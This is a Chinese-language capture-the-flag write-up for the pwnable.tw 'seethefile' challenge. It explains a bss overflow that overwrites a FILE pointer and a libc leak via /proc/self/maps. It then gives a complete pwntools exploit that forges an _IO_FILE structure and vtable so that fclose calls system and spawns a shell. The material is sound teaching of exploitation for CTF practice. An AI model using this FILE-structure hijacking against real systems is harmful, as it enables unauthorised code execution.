漏洞点是:存在一个位于bss段的变量输入溢出,溢出后可以覆盖一个IO_FILE结构体的指针。
利用方式:利用题目读取文件的功能通过linux的proc伪文件系统泄露libc基址,然后溢出IO_FILE的指针指向一个伪造IO_FILE结构体,并且根据libc基址伪造虚表。当伪造的结构体被fclose使用时,虚函数将被调用,即可getshell。
检查
➜ file seethefile
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not stripped
➜ checksec seethefile
[*] '/Users/Desktop/pwn/pwnable/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,除了NX,剩下的保护没开,没去符号表。
漏洞点
程序本身的功能是可以打开,读取,关闭文件,还可以将读取的内容打印出来。不过一次只能读取0x18F个字节,而且不能读flag文件。输入文件名和读取文件内容的地方都做好了边界控制,没有什么问题,不过在退出时:
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);
这里没有检查输入name的长度,导致可以覆盖name后面的内存。位于bss段的name后面就是那个文件的fp指针,之后又去调用了fclose并传入了这个fp指针,这里就是漏洞点所在。
_IO_FILE
在利用之前,我们先来学习_IO_FILE
。不过在学IO_FILE
之前,我们先了解两个函数open
和fopen
:
- 总结open与fopen的区别
- C fopen vs open
- Linux(C/C++)下的文件操作open、fopen与freopen
- C语言中open与fopen的的解释和区别
- C语言中文件描述符和文件指针的本质区别
文件描述符(低级IO) | 文件流/文件指针(高级IO) | |
---|---|---|
标准 | POSIX | ANSI C |
层次 | 系统调用 | libc |
数据类型 | int | FILE * |
函数 | open/close/read/write | fopen/fclose/fread/fwrite/fseek |
所以要学习的_IO_FILE
就是fopen这套libc实现的高级IO操作相关的一个结构体_IO
是值其所在是libc的IO库中,所以说的FILE结构体值指的就是_IO_FILE
,在stdio.h的头文件中有typedef:
/usr/include/stdio.h
struct _IO_FILE;
typedef struct _IO_FILE FILE;
typedef struct _IO_FILE __FILE;
extern struct _IO_FILE *stdin; /* Standard input stream. */
extern struct _IO_FILE *stdout; /* Standard output stream. */
extern struct _IO_FILE *stderr; /* Standard error output stream. */
至此我们可以开心的学习_IO_FILE
了
- FILE Structure Description
- _IO_FILE利用思路总结
- _IO_FILE部分源码分析及利用
- IO FILE 之劫持vtable及FSOP
- IO file结构在pwn中的妙用
- IO FILE 学习笔记
一句话概括为啥要研究_IO_FILE
:libc实现的文件流机制中存在可以被改写的函数指针
利用
所以本题的思路很清晰了,通过改写bss段的FILE指针到我们伪造的结构体上,并布置好虚表即可getshell。
泄露libc
本题泄露libc的基址实在是没啥技术含量,因为直接能读文件,所以直接利用linux的proc伪文件系统读取/proc/self/maps
即可获得libc基址,不过本地和远程的布局可能有些许的不同,因为一次最多只能读取0x18f个字节,所以可能需要读两次才能读到libc的基址。
伪造IO_FILE结构体及虚表
因为在退出的时候,我们可以无限写bss段往后的内存,所以我们把构造的fake FILE也放到这里,并且bss段地址是已知的,这样也才能提前计算fake FILE的地址,以便覆盖程序的fp指针。并且本题给的libc版本为2.23,libc2.24以下的版本没有对虚表进行检查,所以直接伪造即可。当然就算存在检查也是可以想办法绕过的。
fakeFILE = 0x0804B284
payload = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3
完整exp
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./seethefile")
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw",10200)
sla = lambda delim,data :io.sendlineafter(delim, data)
openfile = lambda name : (sla("choice :","1"),sla("see :",name))
readfile = lambda : (sla("choice :","2"))
showfile = lambda : (sla("choice :","3"))
leave = lambda name : (sla("choice :","5"),sla("ame :",name))
# leak libc
openfile("/proc/self/maps")
readfile()
showfile()
io.recvuntil("[heap]\n")
libc_addr = int(io.recv(8),16)+0x1000
system_addr = libc_addr +libc.symbols['system']
# make fake file
fakeFILE = 0x0804B284
payload = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3
# getshell
leave(payload)
io.interactive()